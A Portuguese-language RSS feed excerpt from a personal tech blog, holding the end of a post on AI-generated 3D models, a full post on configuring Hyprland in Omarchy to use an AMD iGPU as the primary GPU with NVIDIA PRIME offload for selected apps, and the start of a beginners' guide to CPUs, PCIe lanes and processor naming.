<p>Consigo subir meu modelo, calibrar a armatura/esqueleto e colocar na pose que eu quiser. Eis um exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123125208_screenshot-2026-01-23_12-51-46.png" alt="model sitting"  loading="lazy" /></p>
<p>No Blender consigo calibrar peso de partes do mesh e outros detalhes pra melhorar a pose, mas os 80% do trabalho já foi feito automaticamente. Com isso consigo fazer animações e muito mais.</p>
<p>Portanto, sim, modelagem 3D já é uma realidade com IA. Existem dezenas de ferramentas pra diferentes casos de uso e especialidades, como geração de texturas, esqueletos, animação.</p>
<p>O principal: comece com uma boa fundação usando Nano Banana como falei, esse é o principal truque pro resto funciona direito. E fiquem sempre de olho na Tencent: o Hunyuan é o modelo mais interessante.</p>
<p>No mundo open source tem o Hunyuan pequeno pra rodar local e agora o Trellis2. Também fiquem de olho em novos workflow que usem esses dois juntos no ComfyUI.</p>
<p>Do meu lado, pra fazer coisas simples que eu quero imprimir em 3D na minha Bambulab X1C, isso já tá mais que excelente!</p>
]]></content:encoded><category>midia-generativa</category><category>hardware</category></item><item><title>Omarchy 3: Setup de Dual GPUs com AMD e NVIDIA</title><link>https://akitaonrails.github.io/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/</guid><pubDate>Wed, 21 Jan 2026 15:29:35 -0300</pubDate><description>&lt;p&gt;Mais um post só pra eu não me esquecer destes detalhes na configuração do &lt;a href="https://omarchy.org/"target="_blank" rel="noopener"&gt;Omarchy&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hyprland não funciona bem com NVIDIA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dá pra usar. Mas tem vários probleminhas, em particular com &lt;a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener"&gt;Hyprlock&lt;/a&gt;, em particular com DPMS onde eu deixo meu computador em idle, daí ele se bloqueia, e depois de um timeout desliga os monitores pra economizar energia, não ter burn in, etc.&lt;/p&gt;
&lt;p&gt;Quando eu tento acordar do sleep, o Hyprlock crasheou e eu preciso ir pra outro TTY pra reiniciar, até fiz um script &lt;code&gt;~/.local/bin/hypr_unlock.sh&lt;/code&gt; assim:&lt;/p&gt;</description><content:encoded><![CDATA[<p>Mais um post só pra eu não me esquecer destes detalhes na configuração do <a href="https://omarchy.org/"target="_blank" rel="noopener">Omarchy</a>:</p>
<blockquote>
  <p>Hyprland não funciona bem com NVIDIA</p>

</blockquote>
<p>Dá pra usar. Mas tem vários probleminhas, em particular com <a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener">Hyprlock</a>, em particular com DPMS onde eu deixo meu computador em idle, daí ele se bloqueia, e depois de um timeout desliga os monitores pra economizar energia, não ter burn in, etc.</p>
<p>Quando eu tento acordar do sleep, o Hyprlock crasheou e eu preciso ir pra outro TTY pra reiniciar, até fiz um script <code>~/.local/bin/hypr_unlock.sh</code> assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;keyword misc:allow_session_lock_restore 1&#39;</span>
</span></span><span class="line"><span class="cl">hyprctl --instance <span class="m">0</span> <span class="s1">&#39;dispatch exec hyprlock&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mas aí desbloqueia e eu vejo que meu Brave crasheou também. A nvidia realmente não gosta que desliguem o monitor enquanto ele tá ativo. Disseram que isso acontecia no Hyprlock 0.9.1 mas eu já estou no 0.9.2 e continua crasheando. Tentei habilitar serviços como nvidia-suspend/resume/hibernate mas nada também.</p>
<p>No fim do dia resolvi que não vale a pena brigar com isso: eu tenho uma <strong>AMD 7850X3D</strong> e essa CPU tem uma iGPU (GPU integrada), uma AMD Raphael, que pra coisas como renderizar um gerenciador de janelas, é mais do que potente o suficiente.</p>
<p>Primeiro, detectar as GPUs:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ ls /dev/dri/by-path
</span></span><span class="line"><span class="cl">Permissions Size User Date Modified Name
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-card -&gt; ../card1
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:01:00.0-render -&gt; ../renderD128
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-card -&gt; ../card2
</span></span><span class="line"><span class="cl">lrwxrwxrwx     - root <span class="m">21</span> Jan 15:22   pci-0000:1a:00.0-render -&gt; ../renderD129</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra saber qual é AMD e qual é NVIDIA só executar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ lspci <span class="p">|</span> grep -i vga
</span></span><span class="line"><span class="cl">01:00.0 VGA compatible controller: NVIDIA Corporation GB202 <span class="o">[</span>GeForce RTX 5090<span class="o">]</span> <span class="o">(</span>rev a1<span class="o">)</span>
</span></span><span class="line"><span class="cl">1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. <span class="o">[</span>AMD/ATI<span class="o">]</span> Raphael <span class="o">(</span>rev c9<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pronto, pelo ID de PCI sabemos que card1 é NVIDIA e card2 é AMD. Agora precisa configurar meu <code>~/.config/hypr/hyprland.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">....
</span></span><span class="line"><span class="cl"><span class="c1"># NVIDIA environment variables</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> NVD_BACKEND,direct
</span></span><span class="line"><span class="cl"><span class="c1">#env = LIBVA_DRIVER_NAME,nvidia</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> LIBVA_DRIVER_NAME,radeonsi
</span></span><span class="line"><span class="cl"><span class="c1">#env = __GLX_VENDOR_LIBRARY_NAME,nvidia</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Comment these out when using AMD as primary</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __NV_PRIME_RENDER_OFFLOAD,1</span>
</span></span><span class="line"><span class="cl"><span class="c1">#env = __VK_LAYER_NV_optimus,NVIDIA_only</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># AMD first for iGPU primary:</span>
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">env</span> <span class="o">=</span> ELECTRON_OZONE_PLATFORM_HINT,auto</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Eu deixei as configurações específicas de NVIDIA comentadas, nenhuma delas pode estar ativa. Mas a linha mais importante é a do <code>AQ_DRM_DEVICES</code> que lista a ordem pro Hyprland pegar a GPU. Card2/AMD tem que estar primeiro. E pronto, só rebootar e recolocar os cabos HDMI na saída da iGPU.</p>
<p>Com isso eu posso escolher agora dar offload de somente alguns apps da NVIDIA usando Prime. Pra isso primeiro eu criei os script <code>~/.local/bin/nvidia-load.sh</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">__NV_PRIME_RENDER_OFFLOAD</span><span class="o">=</span><span class="m">1</span> <span class="nv">__VK_LAYER_NV_optimus</span><span class="o">=</span>NVIDIA_only <span class="nv">__GLX_VENDOR_LIBRARY_NAME</span><span class="o">=</span>nvidia <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Finalmente, configurei alguns bindings em <code>~/.config/hypr/bindings.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
</span></span><span class="line"><span class="cl"><span class="nv">bindd</span> <span class="o">=</span> SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Desta forma, somente os apps Blender, Plasticity e Bambu Studio, que vão primariamente usar a NVIDIA pra renderizar 3D em real time. Todos os outros apps vão abrir na iGPU AMD.</p>
<p>Ferramentas de IA como ComfyUI, Ollama ou LM Studio automaticamente reconhecem a NVIDIA e escolhem lá. E com isso eu também tenho mais VRAM livre pra carregar LLMs.</p>
<p>Se for usar XLibre/X.org, dá pra ficar de boa em NVIDIA. Mas se for usar Wayland, nvidia ainda não é totalmente estável, em particular com Hyprland. Dá menos dor de cabeça colocar uma segunda GPU AMD só pra isso.</p>
]]></content:encoded><category>omarchy</category><category>hardware</category><category>linux</category></item><item><title>Coisas que "Iniciantes" Ignoram sobre PCs</title><link>https://akitaonrails.github.io/2025/09/14/coisas-que-iniciantes-ignoram-sobre-pcs/</link><guid isPermaLink="true">https://akitaonrails.github.io/2025/09/14/coisas-que-iniciantes-ignoram-sobre-pcs/</guid><pubDate>Sun, 14 Sep 2025 01:00:00 -0300</pubDate><description>&lt;p&gt;Faz tempo que eu queria escrever este artigo, mas sempre tive preguiça porque é o tipo de artigo onde algumas partes vão envelhecer logo. Isso porque vou mencionar alguns componentes de 2025, mas daqui 2 ou 5 anos já vai ter mudado, então leiam levando em consideração o ano que estiver lendo, caso esteja no futuro.&lt;/p&gt;
&lt;p&gt;Eu recebo dezenas de perguntas iguais quase todos os dias e em resumo todos se parecem com &lt;em&gt;&amp;ldquo;qual computador recomenda pra mim?&amp;rdquo;&lt;/em&gt; E não existe resposta pra isso. Eu não sei porque alguém pensa que teria uma resposta. Sempre cai no problema de &lt;a href="https://akitaonrails.com/2016/04/20/off-topic-se-voce-precisa-de-validacao-provavelmente-esta-errado/"target="_blank" rel="noopener"&gt;validação&lt;/a&gt; que eu tanto explico.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Faz tempo que eu queria escrever este artigo, mas sempre tive preguiça porque é o tipo de artigo onde algumas partes vão envelhecer logo. Isso porque vou mencionar alguns componentes de 2025, mas daqui 2 ou 5 anos já vai ter mudado, então leiam levando em consideração o ano que estiver lendo, caso esteja no futuro.</p>
<p>Eu recebo dezenas de perguntas iguais quase todos os dias e em resumo todos se parecem com <em>&ldquo;qual computador recomenda pra mim?&rdquo;</em> E não existe resposta pra isso. Eu não sei porque alguém pensa que teria uma resposta. Sempre cai no problema de <a href="https://akitaonrails.com/2016/04/20/off-topic-se-voce-precisa-de-validacao-provavelmente-esta-errado/"target="_blank" rel="noopener">validação</a> que eu tanto explico.</p>
<p>Todo mundo tem que saber todo componente que tem num PC e quais as direrenças e como isso afeta ou não afeta pro seu caso de uso específico. No geral a regra é simples: se tiver dinheiro sobrando, compre o modelo mais caro de todos. Preço é quase sempre proporcional à qualidade do que comprou.</p>
<p>Se não tiver dinheiro sobrando e ainda assim precisa de um PC, compre exatamente o que puder gastar e tire o máximo disso.</p>
<h3>CPUs<span class="hx:absolute hx:-mt-20" id="cpus"></span>
    <a href="#cpus" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>CPUs basicamente você olha clock base e quantidade de cores. Não vai fugir muito disso. Sempre compre o mais recente, se puder.</p>
<p>Clock base é a velocidade que sua CPU vai performar &ldquo;normalmente&rdquo;. Boost clock é nas raras vezes que estiver processando algo pesado, como recompilar a kernel do Linux, ou algum jogo pesado.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913164642_screenshot-2025-09-13_16-46-15.png" alt="Threads"  loading="lazy" /></p>
<p>Não confundir cores com threads. Cores ou núcleos são componentes físicos na CPU que permitem executar mais de uma thread ao mesmo tempo. Em cima disso existe funcionalidades como Hyperthread, onde otimizamos usando o conceito que raramente todos os cores estão ocupados o tempo todo, então o OS enxerga um core físico como tendo capacidade pra até 2 threads.</p>
<p>Por isso na imagem acima, estamos vendo meu <strong>Ryzen 9 7850x3D</strong>, que tem 16 cores físicos, aparecendo como se tivesse 32 threads. Mas é impossível usar todas as 32 em 100% de capacidade.</p>
<p>Ter vários aplicativos abertos não significa que cada um vai estar ocupando uma core. O OS move processos entre cores conforme estratégia do <strong>Scheduler</strong>. Assista minha mini-série sobre <strong>Concorrência e Paralismo</strong>, <a href="/2019/03/13/akitando-43-concorrencia-e-paralelismo-parte-1-entendendo-back-end-para-iniciantes-parte-3/">Parte 1</a> e <a href="2019/03/20/akitando-44-concorrencia-e-paralelismo-parte-2-entendendo-back-end-para-iniciantes-parte-4/">Parte 2</a>. Se for programador, é obrigatório entender isso.</p>
<p>Outras funcionalides que depende da CPU é suporte de <strong>PCI Express</strong> ou <strong>PCIe</strong>. Esse é o bus, ou barramento, de comunicação entre a CPU e diversos dispositivos de alta velocidade, como a GPU ou SSD/NVME - já vou falar deles. Vamos entender:</p>
<ul>
<li>
<p><strong>PCIe 4.0</strong> foi lançado no meio de <strong>2017</strong>, então evite comprar CPUs anteriores a isso, vai ser muito mais lento. Ela nasce no AMD Ryzen 3000 e chipset X570. Banda de aproximadamente <strong>2GB/s</strong> (~16 GT/s)</p>
</li>
<li>
<p><strong>PCIe 5.0</strong> foi lançado no meio de <strong>2019</strong>, portanto, se puder, prefira CPUs depois desse ano. Ela nasce no Intel Alder Lake e AMD Ryzen 7000. Banda de aproximadamente <strong>4GB/s</strong> (~32 GT/s), sim é o <strong>dobro</strong> de PCIe 4.0.</p>
</li>
</ul>
<p>Agora dois conceitos importantes. Primeiro <strong>PCI Lanes</strong>:</p>
<ul>
<li>Um &ldquo;lane&rdquo; (tipo uma &ldquo;pista&rdquo;) é um par de sinais diferenciais TX/RX, tecnicamente falando.</li>
<li>CPU/chipsets (chipset significa &ldquo;conjunto de chips&rdquo;) expõe um número <strong>fixo</strong> de lanes (varia de 20 a 28, mais que isso gera gargalo no chipset).</li>
<li>PCIe não varia a quantidade de lanes e sim a banda de cada lane.</li>
</ul>
<p>Exemplos:</p>
<ul>
<li>AMD Ryzen 7000 (AM5): 24 PCIe 5.0 lanes do CPU (16 pro GPU, 4 pra NVMe, 4 pro chipset).</li>
<li>Intel Alder Lake/Raptor Lake: 16 PCIe 5.0 lanes pra GPU + 4 PCIe 4.0 pra storage.</li>
</ul>
<p>PCI Lanes são importantes pra GPU e pra NVME. &ldquo;SSDs&rdquo; são outro barramento: SATA, depois falo disso. Se o plano é comprar uma GPU moderna e poderosa, tipo uma AMD Radeon 9070 XT ou NVIDIA RTX 5090, vai precisar de PCIe 5.0 com o máximo de lanes e banda disponível pra elas (16 lanes). Isso afeta também a escolha de placa-mãe.</p>
<p>Muita gente pensa em comprar CPUs de servidor, como Intel Xeon ou AMD EPIC. Cuidado. A idéia é tentar achar no eBay um que já tenha sido descartado mas ainda funciona. A &ldquo;vantagem&rdquo; é que CPUs de servidor costumam ter muito mais cores do que CPUs nível consumidor.</p>
<p>Um Intel Xeon costuma ter <strong>60 cores/120 threads</strong> ou um AMD EPIC costuma ter <strong>96 cores/192 threads</strong>, mesmo modelos velhos como um Xeon Platinum/Gold (era Skylake de 2017) tem de 20 a 28 cores. Um AMD EPIC 7001 de 2017 tem 32 cores. Se conseguir achar usado, barato num eBay, não vale a pena?</p>
<p>Na prática: <strong>NÃO</strong>.</p>
<p>Só pra usos muito específicos. Por exemplo, se for montar um servidor de armazenamento, um NAS, com ZFS, que tira vantagem de múltiplos cores, precisa de <strong>MUITA RAM</strong>, mas a banda pros discos não precisa ser absurdamente grande. Vamos ver as desvantagens:</p>
<ul>
<li>esses CPUs velhos que tem preços considerados &ldquo;acessíveis&rdquo; vão ser de 2017 pra trás, ou seja, <strong>PCIe 3.0</strong>, banda mais lenta por lane.</li>
<li>base clock vai ser baixo. Num CPU médio, fica acima de 2Ghz, num antigo vai ser abaixo de 2Ghz. Um com CPU hoje tem base clock de 4Ghz.</li>
<li>alto TDP (Thermal Design Power). Na prática, vai ser mais lento e ainda assim vai consumir mais energia e dissipar MUITO calor. Ou seja, são altamente ineficientes hoje.</li>
<li>não basta ter a CPU barata, elas precisam de <strong>placas-mãe</strong> específicas com sockets LGA 3647, SP3, SP5. São caras e não são formato ATX, então não cabem em qualquer gabinete.</li>
<li>RAM precisa ser ECC RDIMM/LRDIMM. ECC significa Error Correction Code. São RAMs mais caras que garantem que não vai existir bits corrompidos, por isso são obrigatórios em servidores. Nível consumidor não precisa disso. Nas raras vezes que RAM corromper, vai dar uma tela azul e você só reboota. Por isso são mais baratas também.</li>
<li>Não tem várias funcionalidades comuns em CPUs pra consumidores. Não tem iGPU (GPU integrada), não dá pra fazer nenhum tipo de overclocking, tem suporte mais fraco a AVX 512 (vai ter problemas com video, áudio modernos).</li>
</ul>
<p>De novo, só vale a pena se você sabe exatamente todos os detalhes e tem uma aplicação MUITO específica em mente que tire vantagem desse tipo de CPU e não vai sentir falta do que ele não tem. Se você é amador, nem tente.</p>
<p>Na prática, eu dou preferência a CPUs AMD. A série Ryzen tem seguidamente sido bem eficiente. A nomenclatura de nomes de CPUs é coisa que marketeiro adora criar confusão, porque quanto mais confusão, mais fácil enganar consumidor. Isso vai ser um tema constante neste artigo, prestem atenção.</p>
<p>Depende de cada nova arquitetura, mas em geral:</p>
<p><strong>Nomenclaturas AMD</strong></p>
<p>Formato: Ryzen [3/5/7/9] [####] [sufixo]</p>
<ul>
<li>
<p>Tier (3 / 5 / 7 / 9): performance class.</p>
<ul>
<li>Ryzen 3: entry (4–6 cores).</li>
<li>Ryzen 5: midrange (6–8 cores).</li>
<li>Ryzen 7: high-end (8–12 cores).</li>
<li>Ryzen 9: enthusiast (12–16 cores desktop; até 64 cores no Threadripper/EPYC).</li>
</ul>
</li>
<li>
<p>Primeiro Dígito: geração/arquitetura.</p>
<ul>
<li>1 = 1st gen (2017, Zen),</li>
<li>5 = 5th gen (Zen 3),</li>
<li>7 = 7000 series (Zen 4),</li>
<li>9 = 9000 series (Zen 5).</li>
</ul>
</li>
<li>
<p>Dígitos do Meio: modelo dentro da geração. Maior = mais rápido (ex., 7600 vs 7900).</p>
</li>
<li>
<p>Sufixos:</p>
<ul>
<li>X = higher TDP, higher clocks.</li>
<li>G = integrated GPU.</li>
<li>X3D = 3D V-Cache (bom pra games).</li>
<li>HS / U / HX (mobile) = laptop power targets (U = ultra-low, HS = balanced, HX = high-performance).</li>
</ul>
</li>
</ul>
<p><strong>Nomenclaturas Intel</strong></p>
<ul>
<li>
<p>Formato Antigo (pre-2024): Core i3/i5/i7/i9-#### [sufixo]</p>
<ul>
<li>i3 / i5 / i7 / i9 = entrada → alto nível.</li>
</ul>
</li>
<li>
<p>Dígitos:</p>
<ul>
<li>Primeiro = geração (e.g. i7-8700 = 8th gen).</li>
<li>Resto = SKU dentro da geração (8700 vs 8700K).</li>
</ul>
</li>
<li>
<p>Sufixos:</p>
<ul>
<li>K = desbloqueado (overclockable).</li>
<li>F = sem iGPU.</li>
<li>KF = desbloqueado + sem iGPU.</li>
<li>T = baixa energia.</li>
<li>H / HK = laptop alta-performance.</li>
<li>U / Y = ultra-baixa energia.</li>
</ul>
</li>
<li>
<p>Novo Formato (2024+, Meteor Lake / Arrow Lake):</p>
<ul>
<li>Core Ultra 5 / 7 / 9 (drops “i”).</li>
<li>Mesmos tiers: Ultra 5 = midrange, Ultra 9 = top.</li>
<li>Adiciona sufixos “H/U” pra classe de energia de laptop.</li>
</ul>
</li>
</ul>
<p>Eu tenho uma &ldquo;antiga&rdquo; (ainda muito performática) Ryzen 9 7850X3D que é Zen 4, 16 cores/32 threads, 3D V-Cache que é bom pra jogos. O equivalente mais novo é a <strong>9850X3D</strong>, que é arquitetura mais nova Zen 5 (está pra sair Zen 6).</p>
<p>No mundo notebook, mobile/console/handhelds saiu a linha <strong>Ryzen AI MAX/MAX+</strong> que tem CPU+GPU+NPU integradas na onda de acelerar tarefas de redes neurais, rodar <strong>pequenos</strong> modelos de IA. A Ryzen AI Max+ 395 é Zen 5, integrada com GPU Radeon, até 40 CUs (mais ou menos equivalente da AMD a Nvidia Cuda Cores). A vantagem é ter acesso a mais RAM/VRAM pra carregar modelos mais pesados, mas não vai ser rápido porque CPU desktop ainda é melhor, obviamente. Em notebook você sempre vai estar limitado por solução térmica.</p>
<p>O maior problema de consoles/notebooks/handhelds é que não dá pra fornecer tanta energia (TGP) quanto desktop porque não tem pra onde dissipar tanto calor. Por isso notebook <strong>sempre</strong> vai ser mais limitado do que desktop. Isso dito, se puder pagar, recomendo a Ryzen AI Max, parecem bons chips mesmo.</p>
<p>Se tem dúvidas sobre sua CPU e estiver num Linux, dá pra checar assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ lscpu
</span></span><span class="line"><span class="cl">Architecture:                x86_64
</span></span><span class="line"><span class="cl">  CPU op-mode<span class="o">(</span>s<span class="o">)</span>:            32-bit, 64-bit
</span></span><span class="line"><span class="cl">  Address sizes:             <span class="m">48</span> bits physical, <span class="m">48</span> bits virtual
</span></span><span class="line"><span class="cl">  Byte Order:                Little Endian
</span></span><span class="line"><span class="cl">CPU<span class="o">(</span>s<span class="o">)</span>:                      <span class="m">32</span>
</span></span><span class="line"><span class="cl">  On-line CPU<span class="o">(</span>s<span class="o">)</span> list:       0-31
</span></span><span class="line"><span class="cl">Vendor ID:                   AuthenticAMD
</span></span><span class="line"><span class="cl">  Model name:                AMD Ryzen <span class="m">9</span> 7950X3D 16-Core Processor
</span></span><span class="line"><span class="cl">    CPU family:              <span class="m">25</span>
</span></span><span class="line"><span class="cl">    Model:                   <span class="m">97</span>
</span></span><span class="line"><span class="cl">    Thread<span class="o">(</span>s<span class="o">)</span> per core:      <span class="m">2</span>
</span></span><span class="line"><span class="cl">    Core<span class="o">(</span>s<span class="o">)</span> per socket:      <span class="m">16</span>
</span></span><span class="line"><span class="cl">    Socket<span class="o">(</span>s<span class="o">)</span>:               <span class="m">1</span>
</span></span><span class="line"><span class="cl">    Stepping:                <span class="m">2</span>
</span></span><span class="line"><span class="cl">    Frequency boost:         enabled
</span></span><span class="line"><span class="cl">...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
